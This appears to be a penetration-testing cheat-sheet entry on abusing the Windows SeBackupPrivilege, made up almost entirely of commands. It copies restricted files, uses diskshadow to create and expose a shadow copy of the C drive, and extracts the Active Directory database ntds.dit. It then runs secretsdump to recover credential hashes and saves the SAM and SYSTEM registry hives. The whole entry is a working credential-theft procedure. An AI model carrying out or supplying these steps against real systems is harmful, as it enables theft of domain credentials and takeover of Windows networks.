←

SeBackupPrivilege

Enable the SeBackupPrivilege

Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Copy a restricted file in order to read it with SeBackupPrivilege enabled

Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Use diskshadow utility to create a shadow copy of the C drive and expose it as E drive

diskshadow.exe
  • then issue the following commands
set verbose on

set metadata C:\Windows\Temp\meta.cab

set context clientaccessible

set context persistent

begin backup

add volume C: alias cdrive

create

expose %cdrive% E:

end backup

exit
  • then copy the ntds.dit locally in order to send
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Using secretsdump to obtain credentials locally

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Backup SAM and SYSTEM registry hives

reg save HKLM\SYSTEM SYSTEM.SAV

reg save HKLM\SAM SAM.SAV